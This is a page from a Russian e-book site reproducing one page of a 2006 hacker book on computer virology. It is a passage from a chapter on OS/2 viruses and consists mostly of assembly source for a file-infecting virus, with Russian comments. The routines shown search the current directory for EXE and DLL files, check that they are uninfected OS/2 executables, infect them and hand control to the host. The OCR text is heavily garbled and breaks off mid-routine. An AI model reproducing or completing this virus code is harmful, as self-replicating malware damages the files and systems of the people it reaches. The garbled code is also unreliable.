Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 108 109 110 111 112 113 < 114 > 115 116 117 118 119 120 .. 123 >> Следующая

DosRead:FAR, DosW\A1te:FAR, DosClose:FAR DGROUP GROUP _DATA,_STACK CODE
SEGMENT PARA USE16 'CODE'
ГЛАВА 10. Вирусы для OS/2
ASSUME CS:CODE. DS:_DATA PUBLIC VIRUS
Это основная подпрограмма вируса. Она находит файл, пригодный для
инфицирования, и заражает его, а затем передает контроль программе-
жертве. Она размещается в первом сегменте жертвы - сегменте, в который
первоначально передается контроль.
VIRUS PROC FAR pushf
pusha {сохраняем все регистры
push ds push es push ds
pop es
call CREATE_DS {создаем сегмент данных call VIR_START {находим стартовый
офсет вируса VIR_START: pop si
sub si.OFFSET VIR_START mov [VSTART],si call INIT.DS call RND FILE
{находим файл, пригодный для инфекции jnz SHORT GOTO_HOST ;z установлен,
если файл найд ен call INFECT_FILE {инфицируем его, если он найден
GOTO_HOST:
call DESTROY_DS {очищаем память pop es pop ds popa popf VIRUS.DONE:
jmp HOST {передаем контроль программе-жертве
473
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
VIRUS ENDP db
Эта подпрограмма создает сегмент данных для вируса. Она: (1) назначает
память для вируса, (2) создает сегмент данных для этой памяти, (3) с
помощью нового селектора устанавливает ds и es и (4) сохраняет индекс для
этой памяти, чтобы освободить ее при завершении работы.
CREATE_DS: sub sp,2 mov bp.sp
push OFFSET DATASTART - OFFSET DATAEND ; вталкиваем в стек ;размер
памяти, которую хотим назначить push ss ; вталкиваем @ указателя на
память push bp
push 0 ;пишем страницу
DALSE: call DosAllocSeg назначаем память mov bx,ss:[bp] ;пара ds:bx
указывает на память mov ds.bx mov es.bx add sp,2 ret
восстанавливаем стек ; выход
CFILEJD1 DB '*.EXE',0
CFILEJD2 DB ''.DLL'.O
CKNAME DB 'DOSCALLS'
Инициализируем данные в сегменте данных:
I
INIT_DS:
mov [DHANDLE],-1
mov [SRCHCOUNT],1
mov si,OFFSET CRLEJD1 перемещаем
Л7Л
ГЛАВА 10. Вирусы для OS/2
{строки констант в ds add si,[VSTART] mov di,OFFSET FILEJD1 mov cx,OFFSET
INIT_DS - OFFSET CFILEJD1 CDL: mov al,cs:[si] inc si stosb loop CDL
ret {все сделано
Эта подпрограмма освобождает память, назначенную с помощью CREATE_DS.
DESTROY_DS: push ds DFRSE: call DosFreeSeg ret
Эта подпрограмма ищет файл, пригодный для инфицирования. Она ищет ЕХЕ-
файлы и затем проверяет, являются ли они незаряженными и пригодными для
инфицирования Windows файлами. Если файл найден, эта подпрограмма
возвращается с установленным z, с открытым файлом и его индексом в
регистре Ьх. FIND FILE осматривает только текущую директорию.
FIND_FILE:
push ds {вталкиваем в стек адрес ID-файла push OFFSET FILEJD1
push ds {вталкиваем адрес индекса для поиска push OFFSET DHANDLE push 07h
{атрибут
push DS {вталкиваем адрес буфера, используемого для поиска push OFFSET
SBUF
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
push SIZE SBUF ;размер буфера
push ds ; вталкиваем адрес переменной счетчика поиска push OFFSET
SRCHCOUNT [заполняется с помощью DosFind push 0 [резервное двойное слово
push О
FFIRST: call DosFindFirst ;находим первый файл FINDJ.OOP:
or ах,ах ;ошибка?
jnz FIND_EXIT ;да, выходим
cmp [SRCHCOUNT],0 ;ни один файл не найден? jz FIND_EXITNZ ;ничего не
найдено
call FILE_OK .годен для инфицирования?
jz FIND_EXIT ;да, выходим с установленным z
push [DHANDLE] '.вталкиваем в стек индекс для поиска push ds ;
вталкиваем адрес структуры поиска
push OFFSET SBUF push SIZE SBUF ;и длину буфера push ds ;вталкиваем адрес
SRCHCOUNT
push OFFSET SRCHCOUNT FNEXT: call DosFindNext [выполняем его jmp
FIND_LOOP
FIND_EXITNZ: mov al,1 or al.al
RND_EXIT: [передаем контроль обратно основной подпрограмме ret
Эта подпрограмма определяет, годится ли файл для инфекции. Условия
пригодности файла "следующие:
1) он должен быть OS/2 ЕХЕ-файлом;
2) в первоначальном сегменте кода должно быть достаточно места для него;
3) файл должен быть еще незараженным.
ГЛАВА 10. Вирусы для OS/2
Если файл пригоден, подпрограмма возвращается с установленным Z, с
открытым файлом и с индексом в Ьх. Если файл непригоден для заражения,
подпрограмма возвращается со сброшенным Z и закрывает файл. Кроме того,
эта подпрограмма устанавливает несколько важных переменных, пока
проверяет файл. Они используются позже в подпрограмме инфицирования.
FILEOK:
mov dx,OFFSET SBUF+23 ;dx указывает на файл call FILE_OPEN {открываем
файл
jnz FOK_ERROR2 ;при ошибке выход
FOK1:
mov dx,OFFSET NB/VJ^DR ;ds:dx указывает на буфер заголовка mov сх,40Н
{читаем 40Н байтов call FILEREAD ;ОК, читаем ЕХЕ-заголовок jc FOK_ERROR1
cmp WORD PTR [NEW_HDR],5A4DH {смотрим, являются ли два {первых байта
'MZ'? jnz SHORT FN1 ;нет, файл не В(Е, выход cmp WORD PTR
[NEW_HDR+18H],40H {смотрим, таблица {перемещений в 40Н или больше? jc
SHORT FN1 ;нет, это не OS/2-EXE mov dx,WDRD PTR [NEW_HDR+3CH] ;OK,
помещает офсет к новому {заголовку в dx mov [NH_OFFSET],dx ;и сохраняем
его там хог сх.сх
call FILE_SEEK_ST {производим поиск от начала до нового {заголовка
mov cx,NEW_HDR_SIZE {читаем новый заголовок mov dx,OFFSET NEW_HDR call
FILE_READ
Предыдущая << 1 .. 108 109 110 111 112 113 < 114 > 115 116 117 118 119 120 .. 123 >> Следующая